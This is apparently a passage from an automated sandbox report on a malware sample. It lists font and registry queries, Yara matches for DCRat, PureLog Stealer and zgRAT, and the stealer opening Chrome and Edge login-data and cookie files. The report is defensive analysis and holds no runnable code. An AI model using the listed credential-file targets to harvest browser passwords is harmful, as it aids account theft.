Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: eC:/Users/All Users\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: TC:/Users/All Users\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vC:/Users/All Users\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 0.2.FYKrlfQrxb.exe.129b72b8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1690622785.00000000129B7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4126682689.0000000005B5D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FYKrlfQrxb.exe PID: 7660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe PID: 7920, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: FYKrlfQrxb.exe, type: SAMPLE
Source: Yara match	File source: 0.0.FYKrlfQrxb.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1655410862.00000000003B2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: FYKrlfQrxb.exe, type: SAMPLE
Source: Yara match	File source: 0.0.FYKrlfQrxb.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
